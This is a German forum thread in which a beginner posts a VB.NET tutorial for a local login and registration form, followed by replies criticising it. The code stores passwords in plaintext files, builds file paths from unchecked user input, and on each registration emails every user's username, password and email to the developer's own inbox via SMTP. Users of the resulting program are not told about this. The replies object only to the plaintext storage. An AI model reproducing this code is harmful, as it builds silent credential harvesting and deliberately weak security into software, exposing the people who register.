Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > General Coding > Coding Tutorials
You last visited: Today at 06:18

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Login + Registrierung ohne server!

Discussion on Login + Registrierung ohne server! within the Coding Tutorials forum part of the General Coding category.

Closed Thread
 
Old   #1
 
elite*gold: LOCKED
Join Date: Oct 2010
Posts: 363
Received Thanks: 135
Login + Registrierung ohne server!

Hallo also hier zeige ich euch mal eine methode wie ihr eine Login box mit Registrierung braucht.

Was ist hier anders wie bei den anderen tuts?
Ganz einfach ihr braucht wirklich nur visual basic 2008 und müsst euch
auf keiner anderen seite anmelden!

Was brauche ich?
2formen
in die erste form kommt:
2x Label
2x TextBox
2x Buttons
in die 2te form kommt:
3x TextBox
3x Label
1x Button

Fangen wir an:

Als erstes fangen wir mit der ersten form an
ihr nennt ein label Benutzername und eins Password
Einen button nennt ihr Login und eine Erstellen oder Registrieren

So jetzt macht ihr doppelklick auf die form und gibt folgen des ein
Code:
Public Class Form1



    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Form2.Show() 'die form2 soll geöffnet werden
        Me.Hide() ' die form1 soll versteckt werden also minimiert werden



    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Try
            Dim sa As String
            Dim sb As String
            Dim a As New System.IO.StreamReader("C:\Login\" + TextBox1.Text + "\Username.txt")
            sa = a.ReadLine()
            a.Close() 'erstellt einen ordner unter C: der login heisst und eine textbox die Username heisst wo die namen eurer registrierung gespeichert werden
            Dim b As New System.IO.StreamReader("C:\Login\" + TextBox1.Text + "\Password.txt")
            sb = b.ReadLine()
            b.Close()
            'erstellt einen ordner unter C: der login heisst und eine textbox die Password heisst wo die namen eurer registrierung gespeichert werden

            If TextBox1.Text = sa.ToString Then

                If TextBox2.Text = sb.ToString Then

                    MsgBox("Herzlich Willkommen!" + sa.ToString)
                    Me.Hide()
                    Form3.Show() 'wenn euer account name und euer password exitiert werdet ihr eingelog und eine nachricht erscheint wo Herzlich Willkommen! und euer name hinter steht und die form1 soll minimiert werden und form3 geöffnet werden
                Else

                    MsgBox("Error!Passwort ist falsch.") ' fals euer account password nicht stimmt kommt diese meldung
                End If
            Else


            End If

        Catch ex As Exception
            MsgBox("Error! Der Account existiert nicht.") ' ist dafür da um eine error nachricht zu zeigen falls euer account name nicht vergeben ist



        End Try






    End Sub
End Class
So die kommando beschreibung ist im code!

Kommen wir zur form 2

der code und die beschreibung:
Code:
Imports System.Net.Mail ' ist dafür da das die daten euch später per email geschickt werden können
Public Class Form2
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If My.Computer.FileSystem.DirectoryExists("C:\Login\") Then

        Else
            MkDir("C:\Login\")
        End If ' ist dafür da ob es Login schon gibt und falls nicht soll es erstellt werden


        If TextBox1.Text & TextBox2.Text & TextBox3.Text = "" Then
            MsgBox(" Bitte fülle die felder aus") ' ist dafür da um eine error nachricht zu zeigen falls keine felder ausgefüllt worden sind




        End If
        If My.Computer.FileSystem.DirectoryExists("C:\Login\" + TextBox1.Text) Then


            MsgBox("Error! Account ist bereits vergeben") ' ist dafür da um eine error nachricht auszugeben falls der account schon vorhanden ist
        Else
            MkDir("C:\Login\" + TextBox1.Text)

            Dim a As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Username.txt")


            a.WriteLine(TextBox1.Text)
            a.Close() ' ist dafür da um euren account name zu speichern

            Dim b As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Password.txt")

            b.WriteLine(TextBox2.Text)
            b.Close()
            ' ist dafür da um euer password zu speichern
            Dim c As New System.IO.StreamWriter("C:\Login\" + TextBox1.Text + "\Email.txt")
            MsgBox("Account wurde erfolgreich erstellt!")
            c.WriteLine(TextBox3.Text)
            c.Close()
            ' ist dafür da um eure email zu speichern


            Me.Hide()
            Form1.Show()
        End If
        ' ist dafür da das form2 minimiert wird und form1 erscheint
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("eure email", "email passwort")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.web.de" ' hier könnt ihr auch z.b smtp.gmx.com oder  so hinschreiben halt die domain eurer email
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("eure email")
        mail.To.Add("eure email")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "Email : " & TextBox3.Text
        smtpServer.Send(mail) ' ist dafür da das der name das password und die email zu eurer email geschickt wird

wenns geholfen hat pls thx drücken^^
Ps: falls es das tut gibt ohne das man sich irgentwo registrieren muss dan kann es geclosed werden aber habe nix gefunden^^
†(•̪●)WhatTheFuck(•̪●)† is offline  
Old 12/05/2010, 10:29   #2
 
elite*gold: 42
Join Date: Jun 2008
Posts: 5,426
Received Thanks: 1,888
Wow, registrieren um die Daten lokal abzuspeichern? Vorallem auch noch unverschlüsselt.
Ernsthaft, wie kommt man auf solche Ideen? Drogen?
MoepMeep is offline  
Thanks
3 Users
Old 12/05/2010, 10:34   #3
 
elite*gold: LOCKED
Join Date: Oct 2010
Posts: 363
Received Thanks: 135
Boar alter geh andere threads voll spammen wenn du langeweile hast
vieleicht hilft es ja jemanden wenns dir nicht hilft dann einfach mal die klappe halten
†(•̪●)WhatTheFuck(•̪●)† is offline  
Thanks
1 User
Old 12/06/2010, 02:26   #4
 
. χaωe's Avatar
 
elite*gold: 0
Join Date: Oct 2010
Posts: 287
Received Thanks: 111
Er hat es zwar nicht nett formuliert, aber recht hatte er. Das ganze ist ja später nur lokal verfügbar, und außerdem liegen die Daten unverschlüsselt (!!!!) auf dem PC...

Wenn das jetzt jemand ernsthaft benutzen will ist sein ganzes Programm schon für die Tonne, da dieses Skript nicht mal einem Kiddy-Scripter bzw. Endanwender standhält...

Das ganze sieht mir verdammt nach ein paar Wochen Vb.net gelernt, dass hier als ansporn programiert, und vom Ergebniss so begeistert dass man es gleich Veröffentlichen muss. Tut mir leid wen es nicht so ist...

Nebenbei bemerkt sieht man noch einige "unfeinheiten" die das Skript unnötig in die länge ziehen ...
. χaωe is offline  
Old 12/06/2010, 13:32   #5
 
elite*gold: LOCKED
Join Date: Oct 2010
Posts: 363
Received Thanks: 135
Wie gesagt wenn es euch doch nicht hilft dan lasst es einfach ich habe es nur veröffentlicht weil es vieleicht jemand anderes gebrauchen kann oder er kann es als vorlage für irgendwas benutzen
†(•̪●)WhatTheFuck(•̪●)† is offline  
Old 12/06/2010, 13:35   #6
 
elite*gold: 42
Join Date: Jun 2008
Posts: 5,426
Received Thanks: 1,888
Quote:
Originally Posted by †(•̪●)WhatTheFuck(•̪●)† View Post
Wie gesagt wenn es euch doch nicht hilft dan lasst es einfach ich habe es nur veröffentlicht weil es vieleicht jemand anderes gebrauchen kann oder er kann es als vorlage für irgendwas benutzen
Soetwas würde nur jemand nutzen, der noch schlechter ist als du. Sobald MrSm!ith das sieht ist es eh zu
MoepMeep is offline  
Old 12/06/2010, 14:32   #7
 
elite*gold: 0
Join Date: Aug 2009
Posts: 678
Received Thanks: 368
crypte die datei doch und wenn du die daten brauchst werden die daten entcryptet
€dit: ich meine die Datei wo die Login daten drin sind
Konata-Chan is offline  
Old 12/06/2010, 15:06   #8
 
elite*gold: LOCKED
Join Date: Oct 2010
Posts: 363
Received Thanks: 135
Quote:
Soetwas würde nur jemand nutzen, der noch schlechter ist als du. Sobald MrSm!ith das sieht ist es eh zu
boar du und MrSm!ith ihr geht einen so auf den sack...
†(•̪●)WhatTheFuck(•̪●)† is offline  
Old 12/06/2010, 16:17   #9
 
elite*gold: 42
Join Date: Jun 2008
Posts: 5,426
Received Thanks: 1,888
Quote:
Originally Posted by †(•̪●)WhatTheFuck(•̪●)† View Post
boar du und MrSm!ith ihr geht einen so auf den sack...
Der Neid :>
MoepMeep is offline  
Old 12/06/2010, 17:33   #10


 
Al Kappaccino's Avatar
 
elite*gold: 179
Join Date: Oct 2009
Posts: 7,853
Received Thanks: 8,558
Quote:
Originally Posted by MoepMeep View Post
Soetwas würde nur jemand nutzen, der noch schlechter ist als du. Sobald MrSm!ith das sieht ist es eh zu
Er hat es schon gesehen

Quote:
Originally Posted by Konata-Chan View Post
crypte die datei doch und wenn du die daten brauchst werden die daten entcryptet
€dit: ich meine die Datei wo die Login daten drin sind
Quote:
Originally Posted by †(•̪●)WhatTheFuck(•̪●)† View Post
boar du und MrSm!ith ihr geht einen so auf den sack...
Denk dir nichts bei Konata, er erzählt viel, aber dahinter steckt nichts. Er hat sogut wie kein Plan VB genauso wie Moep ;9

Ja, die anderen haben Recht, eigentlich ist es nicht unbedingt notwendig aber du bist ja noch ein Anfänger ;o Auf Verschlüsseln musst du nicht zwangsweise umsteigen, es reicht für den Anfang auch erst einmal, wenn die File wo die Daten gespeichert Werden "versteckt" wird^^
Al Kappaccino is offline  
Old 12/06/2010, 17:43   #11
 
elite*gold: 0
Join Date: May 2010
Posts: 793
Received Thanks: 268
du meinst doch nicht etwa "versteckt", im sinne von die datei als versteckt markieren?^^
nkkk is offline  
Old 12/06/2010, 17:57   #12


 
Al Kappaccino's Avatar
 
elite*gold: 179
Join Date: Oct 2009
Posts: 7,853
Received Thanks: 8,558
Nein, Versteckt im Sinne von "Nicht jeder noob kann einfach so reingucken"^^
Ich glaube Verschlüsselung wäre noch zu hoch für ihn, wobei man da schon sehr simpel anfangen kann^^'
Al Kappaccino is offline  
Old 12/06/2010, 18:19   #13
 
elite*gold: 0
Join Date: May 2010
Posts: 793
Received Thanks: 268
ich dachte schon...

aber ehrlich gesagt: da hilft vieles nichts, ich kenne viele noobs, die auch mit dem .net reflactor umgehen können^^


€ okay noobs ist vileicht übeertrieben, aber durchschnitts menschen
nkkk is offline  
Old 12/06/2010, 18:26   #14
 
elite*gold: 42
Join Date: Jun 2008
Posts: 5,426
Received Thanks: 1,888
Quote:
Originally Posted by JakeFrost77 View Post





Denk dir nichts bei Konata, er erzählt viel, aber dahinter steckt nichts. Er hat sogut wie kein Plan VB genauso wie Moep ;9
Ich brauch keinen plan von VB um euch zu sagen, dass ihr scheiße Programmiert. :>
MoepMeep is offline  
Thanks
2 Users
Old 12/06/2010, 19:16   #15
 
elite*gold: LOCKED
Join Date: Oct 2010
Posts: 363
Received Thanks: 135
Quote:
Ich brauch keinen plan von VB um euch zu sagen, dass ihr scheiße Programmiert. :>
naja bin anfänger und versuche zu helfen wo ich kann das reicht mir ;P
JakeFrost kannste mir mal zeigen oder erklären wie man verschlüsselt?
†(•̪●)WhatTheFuck(•̪●)† is offline  
Closed Thread


Similar Threads Similar Threads
[VB.NET] [How To]Login und Registrierung in ein Programm einbauen
05/20/2015 - Coding Tutorials - 36 Replies
Hallo, In diesem Tutorial zeig ich euch wie ihr einen Login + Registrierung mit MYSQL programmiert. 1. Was brauchen wir? Eine Mysql Datenbank die Externen Zugriff Erlaubt, die bekommen wir z.b. hier kostenlos: HIER MYSQL Visual Basic 2008
Homepage-LogIn OHNE PHP/SQL und htcacess(?)?
12/06/2010 - Web Development - 33 Replies
Hey Com, Ich suche eine Lösung zum einloggen auf meiner Homepage ohne SQL, PHP und htcacess(?), da mein hoster es nicht unterstützt... Bitte um Hilfe
[How to] Login Rebbot ohne Server reboot
01/24/2010 - Metin2 PServer Guides & Strategies - 34 Replies
Hallo ich erkläre euch jetzt wie ihr den Login rebootet ohne den ganzen Server zu rebooten. Also ihr logt euch in den Root ein und gibt das ein: cd /home/game/auth ./shut.sh ./auto.sh
[HowTo]GM-Rechte nach Registrierung (ohne Freischaltung)
11/20/2009 - Metin2 PServer Guides & Strategies - 22 Replies
Ich biete euch eine Alternative zu dem Guide. Als erstes macht ihr euch eine Reg.page: Klick Jetzt öffnet ihr die Config.php mit dem Texteditor und ersetzt den Inhalt damit: Nun öffnet ihr die Index.php und ersetzt den Inhalt damit:
P server registrierung
08/07/2008 - Metin2 Private Server - 1 Replies
hi elitepvpers wo kann ich mich für p serever registrieren? gibt es eine internetseite oder soll ich mich im spiel registrieren? thx für antworte



All times are GMT +2. The time now is 06:18.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.